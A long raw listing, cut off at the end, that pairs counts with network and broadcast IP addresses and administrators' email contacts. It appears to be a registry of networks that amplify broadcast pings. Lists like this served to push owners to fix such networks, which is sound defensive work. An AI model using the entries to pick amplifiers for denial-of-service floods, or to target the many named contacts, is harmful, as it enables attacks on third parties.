nomailbox@nowhere 28 209.146.18.0 hostmaster@idci.net 28 209.146.18.255 hostmaster@idci.net 28 208.212.143.255 david.moyle@teligent.com 28 216.60.108.0 hostmaster@swbell.net 28 209.193.191.255 mromm@kivex.com 27 24.217.1.255 mczakaria@chartercom.com 27 193.50.189.0 blanc@enit.fr 27 193.50.189.255 blanc@enit.fr 27 193.51.50.0 27 194.235.135.255 csl01@mail.telepac.pt 27 198.112.56.0 mikem@cw.com 27 200.17.178.0 gomide@nic.br 27 200.23.40.255 jescalera@mail.nl.gob.mx 27 200.23.43.0 jescalera@mail.nl.gob.mx 27 202.104.150.255 27 202.24.143.255 hostmaster@nic.ad.jp 27 204.131.139.255 emontero@gmgw.com 27 204.171.125.255 sph@nauticom.net 27 204.254.150.0 postmaster@arn.net 27 204.254.150.255 postmaster@arn.net 27 204.30.45.0 herbert.kwok@jwtworks.com 27 204.30.45.255 herbert.kwok@jwtworks.com 27 205.213.180.0 ahintz@wisp.k12.wi.us 27 206.172.156.0 debbie@worldlinx.com 27 206.172.156.255 debbie@worldlinx.com 27 206.172.201.0 debbie@worldlinx.com 27 206.172.201.255 debbie@worldlinx.com 27 206.172.202.0 debbie@worldlinx.com 27 206.172.202.255 debbie@worldlinx.com 27 206.172.203.0 debbie@worldlinx.com 27 206.172.203.255 debbie@worldlinx.com 27 206.172.204.0 debbie@worldlinx.com 27 206.172.204.255 debbie@worldlinx.com 27 206.172.227.0 debbie@worldlinx.com 27 206.172.227.255 debbie@worldlinx.com 27 206.172.240.0 debbie@worldlinx.com 27 206.172.240.255 debbie@worldlinx.com 27 206.172.241.0 debbie@worldlinx.com 27 206.172.241.255 debbie@worldlinx.com 27 206.172.242.0 debbie@worldlinx.com 27 206.172.242.255 debbie@worldlinx.com 27 206.172.243.0 debbie@worldlinx.com 27 206.172.243.255 debbie@worldlinx.com 27 206.172.94.0 debbie@worldlinx.com 27 206.172.94.255 debbie@worldlinx.com 27 207.115.60.255 harrycw@prodigy.net 27 209.233.209.0 ip-admin@pbi.net 27 207.202.66.255 noc@corp.idt.net 27 216.50.134.255 technical@kivex.com 27 207.202.66.0 noc@corp.idt.net 27 206.97.4.0 william.winkel@spencergifts.com 27 208.240.37.0 kuba.tatarkiwicz@themedco.com 27 208.212.74.0 espencer@globix.com 27 208.212.74.255 espencer@globix.com 27 207.153.112.0 noc@netrail.net 27 207.99.208.0 art@lacoe.edu 27 208.152.233.0 doug@cookman.edu 27 207.153.112.255 noc@netrail.net 27 209.233.209.255 ip-admin@pbi.net 27 208.152.233.255 doug@cookman.edu 27 208.144.7.0 DIGICON@mindspring.com 27 209.207.15.0 amcbeth@wacohs.com 27 208.144.7.255 DIGICON@mindspring.com 27 207.115.60.0 harrycw@prodigy.net 27 206.74.159.0 mckee@admin.infoave.net 27 206.74.159.255 mckee@admin.infoave.net 27 207.97.140.0 sbriggs@i-2000.com 27 209.48.15.255 dns@digex.net 27 207.97.140.255 sbriggs@i-2000.com 27 216.1.138.255 dns@digex.net 27 216.27.3.0 mbn@ilan.net 27 207.61.114.0 debbie@bellglobal.com 27 207.61.180.0 debbie@bellglobal.com 27 207.61.184.0 debbie@bellglobal.com 27 207.61.114.255 debbie@bellglobal.com 27 207.61.180.255 debbie@bellglobal.com 27 207.61.184.255 debbie@bellglobal.com 27 208.2.81.255 jstabler@emi.net 27 207.108.165.255 dns-info@uswest.net 27 207.55.63.0 baron@aa.net 27 207.108.165.0 dns-info@uswest.net 27 209.70.110.255 hostmaster@clark.net 27 209.132.128.0 hostmaster@alameda-coe.k12.ca.us 27 208.153.239.0 lnguyen@gstworld.net 27 208.153.239.255 lnguyen@gstworld.net 27 216.60.98.255 hostmaster@swbell.net 26 63.64.128.255 info@schwablearning.org 26 194.167.45.0 bdulmet@ens2m.fr 26 194.193.118.0 26 194.193.118.255 26 194.205.160.0 support@insnet.net 26 198.64.33.0 hostmaster@sesqui.net 26 198.64.33.255 hostmaster@sesqui.net 26 199.104.18.0 hathpaul@ba.isu.edu 26 199.104.18.255 hathpaul@ba.isu.edu 26 199.249.19.255 paul.weber@mci.com 26 200.23.41.255 jescalera@mail.nl.gob.mx 26 200.23.43.255 jescalera@mail.nl.gob.mx 26 200.39.223.255 rgarcia@mvs.com.mx 26 202.212.202.0 hostmaster@nic.ad.jp 26 202.212.202.255 hostmaster@nic.ad.jp 26 202.234.4.0 hostmaster@nic.ad.jp 26 202.234.4.255 hostmaster@nic.ad.jp 26 204.142.205.0 stone@salem.cc.nj.us 26 204.142.205.255 stone@salem.cc.nj.us 26 204.168.129.0 ny0149@mail.nyer.net 26 204.168.129.255 ny0149@mail.nyer.net 26 204.171.125.0 sph@nauticom.net 26 204.245.217.0 spencer@bendnet.com 26 204.245.217.255 spencer@bendnet.com 26 204.255.216.0 sysop@iwl.net 26 204.50.62.255 noc@sprint-canada.net 26 204.73.51.0 mike@haven.com 26 204.73.51.255 mike@haven.com 26 205.221.234.0 grpjl@iastate.edu 26 205.227.63.0 lgoodman@iacnet.com 26 205.244.244.0 ddalton@netreveal.com 26 206.15.182.0 wink@ziplink.net 26 206.163.29.0 spencer@bendnet.com 26 206.163.31.0 hostmaster@rain.net 26 206.163.31.255 hostmaster@rain.net 26 216.103.204.0 ip-admin@pbi.net 26 216.111.166.255 noc@qwest.net 26 216.103.205.255 ip-admin@pbi.net 26 207.215.238.255 jaykata@ltsc.org 26 207.66.244.255 pat@wolfe.net 26 216.111.15.0 PETRONICK@convergence.com 26 216.111.220.0 asadowsky@westla.studley.com 26 216.111.15.255 PETRONICK@convergence.com 26 209.227.70.255 eric@mxol.com 26 216.111.220.255 noc@qwest.net 26 207.165.81.0 dave.klinkefus@icn.state.ia.us 26 209.94.160.0 wells@wctc.net 26 207.164.163.0 debbie@bellglobal.com 26 206.28.86.255 lmarcus@magibox.net 26 209.94.163.255 wells@wctc.net 26 207.164.163.255 debbie@bellglobal.com 26 207.165.81.255 dave.klinkefus@icn.state.ia.us 26 208.169.108.0 ayre@convergence.com 26 208.169.109.0 ayre@convergence.com 26 209.78.215.0 nomailbox@nowhere 26 210.150.28.255 hostmaster@nic.ad.jp 26 208.169.108.255 ayre@convergence.com 26 208.169.109.255 ayre@convergence.com 26 209.78.215.255 nomailbox@nowhere 26 207.107.141.0 noc@sprint-canada.net 26 216.132.110.0 dnstech@eni.net 26 216.132.106.255 dnstech@eni.net 26 216.1.136.0 dns@digex.net 26 209.39.117.255 netadmin@onramp.net 26 216.1.136.255 dns@digex.net 26 208.30.140.255 MPOWELL@hublink.com 26 216.146.128.0 mike@bwn.net 26 207.96.71.0 domreg@erols.com 26 208.215.55.255 bo@quicklink.com 26 209.69.61.0 dns@rust.net 26 209.69.145.0 dns@rust.net 26 210.235.164.0 hostmaster@nic.ad.jp 26 209.69.176.0 chris@sensible-net.com 26 209.69.61.255 26 209.69.176.255 chris@sensible-net.com 26 206.176.32.0 kimh@is.state.sd.us 26 209.47.137.255 bmollon@saatchi.ca 26 207.28.180.255 dave.klinkefus@icn.state.ia.us 26 209.208.223.0 hostmaster@pfmc.net 26 208.232.127.255 nomailbox@nowhere 26 209.208.223.255 hostmaster@pfmc.net 26 207.203.4.255 ipadmin@bellsouth.net 26 209.132.128.255 hostmaster@alameda-coe.k12.ca.us 26 206.176.32.255 kimh@is.state.sd.us 26 208.228.41.255 bkressman@netexplorer.com 26 209.100.174.255 noc@uss.net 26 209.193.191.0 mromm@kivex.com 26 209.215.115.255 ipadmin@bellsouth.net 25 24.6.16.0 noc@noc.home.net 25 192.208.22.0 hays@wapa.gov 25 192.208.22.255 hays@wapa.gov 25 192.251.100.255 MCCOY@ucsvm.mcneese.edu 25 193.106.23.0 yp@jouve.fr 25 193.205.54.255 staff-lir@garr.net, Enzo.Valente@infn.it, maint@imiucsc.bitnet, mlombard@mi.unicatt.it 25 194.151.209.0 said@interclimax.com 25 194.57.10.0 techfem@mobilia.it 25 194.57.10.255 techfem@mobilia.it 25 195.27.208.255 spona@tmt.de, hoereth@tmt.de, peter.maisel@maisel.de, hostmaster@maisel.de 25 198.145.48.255 dns@e-z.net 25 199.182.216.0 Louis_Lee@icgcomm.com 25 199.182.216.255 Louis_Lee@icgcomm.com 25 200.23.41.0 jescalera@mail.nl.gob.mx 25 200.39.223.0 rgarcia@mvs.com.mx 25 202.104.150.0 25 202.77.222.0 belcina@attmail.com 25 202.77.222.255 belcina@attmail.com 25 203.244.121.0 ikoh@rs.krnic.net, syha@rs.krnic.net 25 203.244.121.255 ikoh@rs.krnic.net, syha@rs.krnic.net 25 203.38.29.0 hostmaster@telstra.net 25 204.171.52.0 crbaugh@pennet.com 25 204.171.52.255 crbaugh@pennet.com 25 204.4.229.0 hostinfo@psi.com 25 204.4.229.255 hostinfo@psi.com 25 205.126.59.0 mcleary@uen.org 25 205.126.59.255 mcleary@uen.org 25 205.139.127.255 kerrigan@syrlang.com 25 205.143.126.255 rtesta@gia.org 25 205.184.238.0 root@cattco.com 25 205.184.238.255 root@cattco.com 25 205.221.100.0 grpjl@iastate.edu 25 205.221.100.255 grpjl@iastate.edu 25 205.221.234.255 grpjl@iastate.edu 25 205.221.235.0 grpjl@iastate.edu 25 205.221.235.255 grpjl@iastate.edu 25 205.244.244.255 ddalton@netreveal.com 25 206.108.86.0 bhewlitt@interlog.com 25 206.108.86.255 bhewlitt@interlog.com 25 206.170.104.0 rlai@paclink.net 25 207.158.27.255 dns@adnc.com 25 208.129.111.0 pablo@mmind.net 25 210.169.71.0 hostmaster@nic.ad.jp 25 209.102.84.0 dns-admin@ixa.net 25 207.16.219.255 help@uunet.uu.net 25 210.224.249.255 hostmaster@nic.ad.jp 25 208.130.144.0 nomailbox@nowhere 25 207.66.244.0 pat@wolfe.net 25 210.224.249.0 hostmaster@nic.ad.jp 25 210.161.160.255 hostmaster@nic.ad.jp 25 216.101.120.0 ip-admin@pbi.net 25 207.16.219.0 help@uunet.uu.net 25 207.215.238.0 jaykata@ltsc.org 25 210.169.71.255 hostmaster@nic.ad.jp 25 216.101.123.255 ip-admin@pbi.net 25 212.250.2.0 nmc@ntli.net, bob.procter@ntli.net 25 212.140.54.0 support@bt.net 25 212.140.55.0 support@bt.net 25 209.82.81.0 NOCToronto@metronet.ca 25 210.141.247.0 hostmaster@nic.ad.jp 25 212.250.2.255 nmc@ntli.net, bob.procter@ntli.net 25 209.82.81.255 NOCToronto@metronet.ca 25 209.82.88.255 NOCToronto@metronet.ca 25 210.141.247.255 hostmaster@nic.ad.jp 25 208.243.98.0 dave@mva.net 25 208.243.100.0 dave@mva.net 25 208.243.101.0 dave@mva.net 25 210.127.200.0 mgr@matrix.shinbiro.com, ip@matrix.shinbiro.com 25 208.243.98.255 dave@mva.net 25 208.243.99.255 dave@mva.net 25 208.243.100.255 25 208.130.144.255 nomailbox@nowhere 25 208.225.145.0 postmaster@dnap.com 25 209.167.146.0 itelford@scaleable.com 25 207.161.8.255 traceyv@tds.mb.ca 25 209.183.215.0 noc@atlantech.net 25 208.243.99.0 dave@mva.net 25 207.107.141.255 noc@sprint-canada.net 25 216.132.107.0 dnstech@eni.net 25 216.132.111.255 dnstech@eni.net 25 210.127.194.255 mgr@matrix.shinbiro.com, ip@matrix.shinbiro.com 25 216.1.138.0 dns@digex.net 25 208.168.208.0 julianc@peganet.net 25 210.163.253.0 hostmaster@nic.ad.jp 25 216.132.107.255 dnstech@eni.net 25 208.168.208.255 julianc@peganet.net 25 210.74.226.0 std-gm@online.sh.cn, std-gm@online.sh.cn 25 208.201.208.255 shai@interramp.com 25 208.219.165.0 dchayer@research.yankeegroup.c 25 208.219.165.255 dchayer@research.yankeegroup.c 25 208.20.180.255 aweisblatt@diefenbachelkins.com 25 208.2.81.0 jstabler@emi.net 25 209.107.45.255 hostmaster@co.verio.net 25 209.227.75.0 eric@mxol.com 25 208.192.231.255 noc@interactive.net 25 209.12.84.0 acasec@mindspring.com 25 209.100.183.0 danh@tbcnet.com 25 209.12.84.255 acasec@mindspring.com 25 207.249.144.0 nobody@nowhere.com.mx 25 208.18.250.0 jlytle@magicorp.com 25 208.18.250.255 jlytle@magicorp.com 24 24.4.63.0 noc@noc.home.net 24 24.6.16.255 noc@noc.home.net 24 63.64.218.0 ryanm@carr.org 24 63.64.219.0 help@uunet.uu.net 24 167.216.167.0 tom@htdc.org 24 192.246.231.0 hostinfo@psi.com 24 192.246.231.255 hostinfo@psi.com 24 194.168.1.0 nmc@ntli.net, chrism@cableol.net 24 194.168.1.255 nmc@ntli.net, chrism@cableol.net 24 195.198.22.0 24 195.198.22.255 24 195.249.88.0 24 195.7.84.255 daniel@sandberg.se, johan@pi.se 24 198.119.8.0 Curt.A.Suprock.1@gsfc.nasa.gov 24 198.119.8.255 Curt.A.Suprock.1@gsfc.nasa.gov 24 198.150.128.255 jengel@co.waukesha.wi.us 24 198.64.44.255 hostmaster@sesqui.net 24 199.1.158.255 netadmin@onramp.net 24 199.108.74.0 dns@cerf.net 24 200.0.224.0 jorge@satlink.com 24 202.132.227.0 ip@ktnet.co.kr 24 202.132.227.255 dyang@mky.com, jackey@mky.com 24 202.232.118.0 hostmaster@nic.ad.jp 24 202.232.118.255 hostmaster@nic.ad.jp 24 202.33.96.0 hostmaster@nic.ad.jp 24 203.127.27.0 meng@mediacity.com.sg, hostmaster@singnet.com.sg 24 203.127.27.255 meng@mediacity.com.sg, hostmaster@singnet.com.sg 24 203.8.88.0 roger@next.com.au 24 204.131.139.0 emontero@gmgw.com 24 204.151.38.0 bterry@burnettgroup.com 24 204.151.38.255 bterry@burnettgroup.com 24 204.179.122.0 mdg@epnet.com 24 204.179.122.255 mdg@epnet.com 24 204.233.66.255 Thane_White@shscom.com 24 204.34.17.255 24 205.169.44.255 wgrendle@csn.net 24 205.178.84.0 dave@brainstorm.net 24 205.205.132.0 dgiroux@cenosis.com 24 205.253.114.255 karl@mcs.com 24 206.194.58.255 wray@nevada.edu 24 206.194.58.0 wray@nevada.edu 24 207.177.42.255 noc@netins.net 24 207.1.191.0 dspeed@midusa.net 24 207.22.96.0 hostmaster@clark.net 24 207.22.96.255 hostmaster@clark.net 24 212.250.1.0 nmc@ntli.net, pulak.rakshit@ntli.net 24 210.164.17.0 hostmaster@nic.ad.jp 24 210.227.123.0 hostmaster@nic.ad.jp 24 212.250.1.255 nmc@ntli.net, pulak.rakshit@ntli.net 24 210.164.17.255 hostmaster@nic.ad.jp 24 210.227.123.255 hostmaster@nic.ad.jp 24 207.183.136.255 noc@unicom.net 24 212.140.54.255 support@bt.net 24 207.109.152.255 dns-info@uswest.net 24 207.50.128.0 dnsadmin@eznet.net 24 209.105.128.0 dnsadmin@eznet.net 24 209.105.130.0 dnsadmin@eznet.net 24 207.50.137.0 dnsadmin@eznet.net 24 208.157.157.0 billing@eznet.net 24 208.145.15.255 stephent@intelis.com 24 207.50.128.255 dnsadmin@eznet.net 24 209.105.129.255 dnsadmin@eznet.net 24 209.105.131.255 dnsadmin@eznet.net 24 207.50.137.255 dnsadmin@eznet.net 24 208.157.157.255 billing@eznet.net 24 212.158.14.0 support@insnet.net 24 208.227.188.0 nb@jobtrak.com 24 212.158.14.255 support@insnet.net 24 208.227.188.255 nb@jobtrak.com 24 208.6.63.0 postmaster@watsonelec.com 24 208.6.63.255 postmaster@watsonelec.com 24 216.132.106.0 dnstech@eni.net 24 208.14.42.255 jerry@digital.net 24 207.42.162.255 postmaster@southernvirginia.edu 24 207.225.69.0 dlongar@uswest.net 24 209.75.96.255 noc@atmnet.net 24 209.227.41.0 eric@mxol.com 24 206.222.63.0 kreed@artmarkchicago.com 24 208.192.231.0 noc@interactive.net 24 206.222.63.255 kreed@artmarkchicago.com 24 216.101.206.255 ip-admin@pbi.net 24 209.166.16.0 hostmaster@ultracom.net 24 206.23.174.0 jwinters@tec.net 24 206.23.174.255 jwinters@tec.net 24 209.198.202.255 24 208.228.41.0 bkressman@netexplorer.com 24 207.174.151.0 jmiller@netinfrastructure.com 24 207.249.144.255 nobody@nowhere.com.mx 24 207.174.151.255 jmiller@netinfrastructure.com 24 209.95.150.0 bob@storkeavenue.com 24 208.26.206.0 pete@ashland.or.us 24 207.249.142.255 nobody@nowhere.com.mx 24 208.26.206.255 pete@ashland.or.us 24 210.236.171.255 hostmaster@nic.ad.jp 24 209.106.21.255 ben@more.net 23 63.64.218.255 ryanm@carr.org 23 63.64.219.255 help@uunet.uu.net 23 63.65.8.255 twright@cathedral.org 23 129.113.180.0 burnett@panam1.panam.edu 23 129.113.180.255 burnett@panam1.panam.edu 23 155.36.122.0 scott@ties.org 23 155.36.122.255 scott@ties.org 23 155.36.123.0 scott@ties.org 23 155.36.123.255 scott@ties.org 23 192.204.250.0 trouble@prep.net 23 192.204.250.255 trouble@prep.net 23 192.251.100.0 MCCOY@ucsvm.mcneese.edu 23 193.106.9.255 yp@jouve.fr 23 194.73.96.0 dcheetham@gateshead.ac.uk 23 194.73.96.255 dcheetham@gateshead.ac.uk 23 195.220.107.0 23 198.168.5.255 registrar@interlink.net 23 199.108.250.0 dns@cerf.net 23 199.35.107.255 rick@merc-int.com 23 200.5.200.0 nomailbox@nowhere 23 200.5.200.255 nomailbox@nowhere 23 202.213.5.255 hostmaster@nic.ad.jp 23 203.139.53.0 hostmaster@nic.ad.jp 23 203.139.53.255 hostmaster@nic.ad.jp 23 203.146.30.0 kanok@loxinfo.co.th, patkamol@loxinfo.co.th 23 203.8.88.255 roger@next.com.au 23 204.0.28.0 hostmaster@sesqui.net 23 204.0.28.255 hostmaster@sesqui.net 23 204.112.189.0 admin@autobahn.mb.ca 23 204.112.189.255 admin@autobahn.mb.ca 23 204.152.143.0 ellen.eidelman@wizcom.com 23 204.152.143.255 ellen.eidelman@wizcom.com 23 204.160.19.255 pat@tandem.com 23 204.17.16.0 rjcurry.oramail@apollogrp.edu 23 204.17.16.255 rjcurry.oramail@apollogrp.edu 23 204.48.153.255 tuma@ceo.sbceo.k12.ca.us 23 204.57.191.0 john@bmi.net 23 204.57.191.255 john@bmi.net 23 204.7.180.0 hostinfo@psi.com 23 204.7.180.255 hostinfo@psi.com 23 205.120.114.0 mcleary@uen.org 23 205.120.114.255 mcleary@uen.org 23 205.120.116.0 mcleary@uen.org 23 205.120.116.255 mcleary@uen.org 23 205.125.42.0 mcleary@uen.org 23 205.125.42.255 mcleary@uen.org 23 205.237.226.255 nomailbox@nowhere 23 206.100.150.0 nomailbox@nowhere 23 206.138.26.0 dholowesko@bahamas.net.bs 23 206.138.26.255 dholowesko@bahamas.net.bs 23 206.150.180.0 billw@mail.icongrp.com 23 206.150.180.255 billw@mail.icongrp.com 23 207.177.123.0 noc@netins.net 23 206.20.225.0 noc@corp.idt.net 23 207.177.123.255 noc@netins.net 23 207.233.136.0 noc@diginetusa.net 23 207.233.136.255 noc@diginetusa.net 23 206.20.225.255 noc@corp.idt.net 23 210.225.98.255 hostmaster@nic.ad.jp 23 207.238.117.0 dns@digex.net 23 207.238.117.255 dns@digex.net 23 207.165.86.0 dave.klinkefus@icn.state.ia.us 23 208.203.150.0 dbach@globally.net 23 208.154.170.0 ipadmin@cw.net 23 208.203.150.255 dbach@globally.net 23 208.154.170.255 ipadmin@cw.net 23 207.109.152.0 dns-info@uswest.net 23 207.205.184.0 netadmin@ao.wcom.net 23 207.205.188.0 netadmin@ao.wcom.net 23 207.205.250.0 netadmin@ao.wcom.net 23 207.205.187.255 netadmin@ao.wcom.net 23 207.205.191.255 netadmin@ao.wcom.net 23 207.205.250.255 netadmin@ao.wcom.net 23 208.247.2.0 hostmaster@btitelecom.net 23 208.145.15.0 stephent@intelis.com 23 208.247.2.255 hostmaster@btitelecom.net 23 207.165.86.255 dave.klinkefus@icn.state.ia.us 23 208.138.51.0 superdb@phonewave.net 23 209.213.224.0 brad@odyssey.on.ca 23 209.213.225.0 brad@odyssey.on.ca 23 209.213.229.0 brad@odyssey.on.ca 23 209.213.230.0 brad@odyssey.on.ca 23 209.213.232.0 brad@odyssey.on.ca 23 208.168.238.0 rpost@remc8.k12.mi.us 23 209.213.240.0 23 208.138.51.255 superdb@phonewave.net 23 209.43.195.255 domain@accessone.com 23 209.213.224.255 brad@odyssey.on.ca 23 209.213.225.255 brad@odyssey.on.ca 23 209.213.229.255 brad@odyssey.on.ca 23 209.213.230.255 brad@odyssey.on.ca 23 209.213.232.255 brad@odyssey.on.ca 23 208.168.238.255 rpost@remc8.k12.mi.us 23 209.213.240.255 23 209.39.136.0 23 207.190.143.0 hostmaster@source.net 23 206.81.214.0 dns-info@uswest.net 23 208.129.226.0 vince@markzware.com 23 209.133.52.255 ecsd@transbay.net 23 209.190.102.255 hostmaster@thenap.net 23 207.190.143.255 hostmaster@source.net 23 208.129.226.255 vince@markzware.com 23 210.224.143.0 hostmaster@nic.ad.jp 23 207.62.155.255 netadmin@moe.calpoly.edu 23 208.5.185.0 nomailbox@nowhere 23 208.5.185.255 nomailbox@nowhere 23 207.247.41.0 William_Brechka@wcom.com 23 207.247.41.255 William_Brechka@wcom.com 23 206.201.241.255 scarr@huensd.k12.ca.us 23 207.62.158.255 netadmin@moe.calpoly.edu 23 206.43.52.255 baron@aa.net 23 209.56.155.255 dave.klinkefus@icn.state.ia.us 23 216.116.105.0 michael@sctraining.com 23 209.76.79.0 emorton@shastalink.k12.ca.us 23 209.122.30.255 domreg@erols.com 23 209.76.79.255 emorton@shastalink.k12.ca.us 23 207.174.179.0 jmiller@netinfrastructure.com 23 207.174.179.255 jmiller@netinfrastructure.com 23 216.168.240.255 cwei@netsol.com 22 24.4.63.255 (none) 22 24.6.19.0 noc@noc.home.net 22 192.160.219.0 greenup@whittier.edu 22 193.104.180.255 22 193.106.23.255 yp@jouve.fr 22 193.15.208.0 22 193.252.125.0 postmaster@wanadoo.fr, abuse@wanadoo.fr, Sylvain.Causse@wanadoo.com 22 193.252.125.255 postmaster@wanadoo.fr, abuse@wanadoo.fr, Sylvain.Causse@wanadoo.com 22 193.98.234.0 admin@bbr-bremen.de 22 193.98.234.255 admin@bbr-bremen.de 22 195.14.130.0 c.a.makris@cytanet.com.cy 22 195.14.130.255 c.a.makris@cytanet.com.cy 22 195.14.133.0 c.a.makris@cytanet.com.cy 22 195.14.133.255 c.a.makris@cytanet.com.cy 22 195.171.110.0 22 195.171.110.255 22 195.41.127.0 aloc@image.dk 22 198.150.128.0 jengel@co.waukesha.wi.us 22 198.180.133.0 dnorwood@asnaam.aamu.edu 22 198.180.133.255 dnorwood@asnaam.aamu.edu 22 198.74.38.0 kengle@dynamix.com 22 198.74.38.255 kengle@dynamix.com 22 199.111.112.0 jaj@virginia.edu 22 199.182.135.255 hostmaster@maxstrat.com 22 200.47.63.0 linoc@comsat.com.ar 22 202.103.129.0 22 202.167.1.0 22 202.167.1.255 22 202.212.212.0 hostmaster@nic.ad.jp 22 203.126.205.0 hostmaster@singnet.com.sg 22 203.126.205.255 hostmaster@singnet.com.sg 22 203.29.106.0 hostmaster@telstra.net 22 204.116.114.0 22 204.116.114.255 22 204.116.96.0 mckee@admin.infoave.net 22 204.131.140.255 emontero@gmgw.com 22 204.152.145.0 netmaster@organic.com 22 204.152.145.255 netmaster@organic.com 22 204.181.91.255 nomailbox@nowhere 22 204.196.30.255 shreid@alpha.nsula.edu 22 204.228.247.255 bgore@mti.micron.com 22 204.239.13.0 luv@district.north-van.bc.ca 22 204.239.13.255 luv@district.north-van.bc.ca 22 204.4.60.0 postmaster@harbinger.com 22 204.4.60.255 postmaster@harbinger.com 22 204.44.244.0 tahiels@worldnet.att.net 22 204.44.244.255 tahiels@worldnet.att.net 22 204.7.9.255 hostinfo@psi.com 22 205.126.58.0 mcleary@uen.org 22 205.126.58.255 mcleary@uen.org 22 205.143.123.255 rtesta@gia.org 22 205.208.65.255 mhwu@metropolitan.com 22 205.213.18.255 Marlys.A.Nelson@uwrf.edu 22 205.243.90.0 nomailbox@nowhere 22 205.243.90.255 nomailbox@nowhere 22 205.246.52.0 carter@dgsys.com 22 206.0.253.0 hostinfo@psi.com 22 206.0.253.255 hostinfo@psi.com 22 206.104.102.0 netadmin@onramp.net 22 206.104.102.255 netadmin@onramp.net 22 206.16.91.0 dns@cerf.net 22 206.161.8.0 domreg@cais.net 22 206.161.8.255 domreg@cais.net 22 206.166.243.0 mwilliam@ptc.dcs.edu 22 207.213.24.0 dennis@globalpac.com 22 207.213.24.255 dennis@globalpac.com 22 208.152.72.0 noc@extremezone.com 22 208.151.138.0 22 210.134.206.0 hostmaster@nic.ad.jp 22 210.156.209.0 hostmaster@nic.ad.jp 22 210.156.210.0 hostmaster@nic.ad.jp 22 210.156.210.255 hostmaster@nic.ad.jp 22 207.165.80.0 dave.klinkefus@icn.state.ia.us 22 209.215.20.0 ipadmin@bellsouth.net 22 216.78.24.0 ipadmin@bellsouth.net 22 209.214.200.0 ipadmin@bellsouth.net 22 209.215.220.0 ipadmin@bellsouth.net 22 209.215.20.255 ipadmin@bellsouth.net 22 216.78.25.255 ipadmin@bellsouth.net 22 209.214.201.255 ipadmin@bellsouth.net 22 207.202.18.0 rosterman@rtquotes.com 22 210.172.192.0 hostmaster@nic.ad.jp 22 209.63.195.0 sforester@e-infoinc.com 22 210.172.217.0 hostmaster@nic.ad.jp 22 207.202.18.255 rosterman@rtquotes.com 22 207.165.80.255 dave.klinkefus@icn.state.ia.us 22 210.172.192.255 hostmaster@nic.ad.jp 22 209.63.195.255 sforester@e-infoinc.com 22 207.193.232.255 hostmaster@swbell.net 22 206.234.131.0 hostinfo@psi.com 22 209.162.12.0 noc@thegrid.net 22 209.162.40.0 noc@thegrid.net 22 209.162.54.0 noc@thegrid.net 22 210.175.200.0 hostmaster@nic.ad.jp 22 209.162.0.255 noc@thegrid.net 22 209.234.11.255 Al.Johnson@state.net 22 209.162.47.255 noc@thegrid.net 22 209.162.54.255 noc@thegrid.net 22 210.175.200.255 hostmaster@nic.ad.jp 22 206.54.236.255 jmcdonald@megsinet.net 22 209.234.11.0 Al.Johnson@state.net 22 207.141.96.0 nomailbox@nowhere 22 209.181.178.0 dns-info@uswest.net 22 209.181.179.0 dns-info@uswest.net 22 208.207.33.255 noc@bigplanet.net 22 207.141.96.255 nomailbox@nowhere 22 206.234.131.255 hostinfo@psi.com 22 210.175.20.0 hostmaster@nic.ad.jp 22 207.16.68.0 minieri@harbinger.net 22 207.16.71.0 minieri@harbinger.net 22 209.78.199.0 david.barnes@goar.com 22 209.119.14.255 noc@digex.net 22 207.16.68.255 minieri@harbinger.net 22 207.16.71.255 minieri@harbinger.net 22 209.78.199.255 david.barnes@goar.com 22 207.42.162.0 postmaster@southernvirginia.edu 22 209.213.205.255 mickey@nanospace.com 22 216.3.77.0 dns@digex.net 22 207.28.182.0 dave.klinkefus@icn.state.ia.us 22 216.101.60.255 nomailbox@nowhere 22 216.3.77.255 dns@digex.net 22 207.28.182.255 dave.klinkefus@icn.state.ia.us 22 206.81.214.255 dns-info@uswest.net 22 209.73.238.0 hostmaster@pfmc.net 22 209.73.238.255 hostmaster@pfmc.net 22 208.14.86.0 mussel@ix.netcom.com 22 206.50.218.0 netadmin@onramp.net 22 208.14.86.255 mussel@ix.netcom.com 22 206.50.218.255 netadmin@onramp.net 22 209.14.135.255 dnr@spacelab.net 22 216.32.96.255 Cstewart@flycast.com 22 207.154.48.0 carter@dgsys.com 22 207.154.48.255 carter@dgsys.com 22 208.237.218.255 kjustice@bellatantic.net 22 208.228.243.255 mpladsen@ustele.com 22 216.101.60.0 nomailbox@nowhere 21 24.217.0.255 mczakaria@chartercom.com 21 155.50.21.0 bgallant@keps.com 21 155.50.21.255 bgallant@keps.com 21 161.223.77.255 21 192.204.141.0 21 192.204.141.255 21 192.72.144.0 kaoci@tpts1.seed.net.tw 21 192.72.144.255 kaoci@tpts1.seed.net.tw 21 193.158.2.0 tgoetz@cube.net, Horn@eins-und-eins.de 21 193.164.172.255 tony@anglianet.co.uk 21 193.48.165.255 Michel.Leduc@univ-lehavre.fr, Serge.Huberson@univ-lehavre.fr 21 194.168.215.0 nmc@ntli.net 21 194.6.190.0 postmaster@hitline.ch 21 195.179.117.0 lillge@is-europe.net 21 195.222.211.255 21 198.189.54.255 nes@4c.net 21 198.59.97.0 valdez@chicoma.unm.losalamos.nm.us 21 198.59.97.255 valdez@chicoma.unm.losalamos.nm.us 21 199.108.249.0 dns@cerf.net 21 199.108.251.0 dns@cerf.net 21 200.23.168.0 alex@lince.itcelaya.ciateq.mx 21 200.23.42.0 jescalera@mail.nl.gob.mx 21 200.41.130.0 mariano.okon@tld.net.ar 21 200.41.130.255 mariano.okon@tld.net.ar 21 202.103.134.0 21 202.103.160.0 dmkou@publicf.bta.net.cn, wumian@gdnmc.guangzhou.gd.cn 21 202.32.54.0 hostmaster@nic.ad.jp 21 202.96.137.0 21 203.149.0.0 chalee@samart.co.th, siriporn@samart.co.th 21 203.149.0.255 chalee@samart.co.th, siriporn@samart.co.th 21 203.149.33.0 chalee@samart.co.th, siriporn@samart.co.th 21 203.149.33.255 chalee@samart.co.th, siriporn@samart.co.th 21 203.176.24.0 reyc@pworld.net.ph, map@iphil.net 21 203.176.56.0 fdcj@iphil.net, map@iphil.net 21 203.176.6.0 reyc@pworld.net.ph, map@iphil.net 21 203.242.136.0 mgr@ktnet.co.kr, ip@ktnet.co.kr 21 203.242.136.255 mgr@ktnet.co.kr, ip@ktnet.co.kr 21 203.242.255.0 mgr@ktnet.co.kr, ip@ktnet.co.kr 21 203.242.255.255 mgr@ktnet.co.kr, ip@ktnet.co.kr 21 203.75.104.255 admin@hinet.net, chlin@netnews.hinet.net 21 204.131.140.0 emontero@gmgw.com 21 204.131.142.255 emontero@gmgw.com 21 204.133.157.255 kenf@evt.com 21 204.228.247.0 bgore@mti.micron.com 21 204.248.234.0 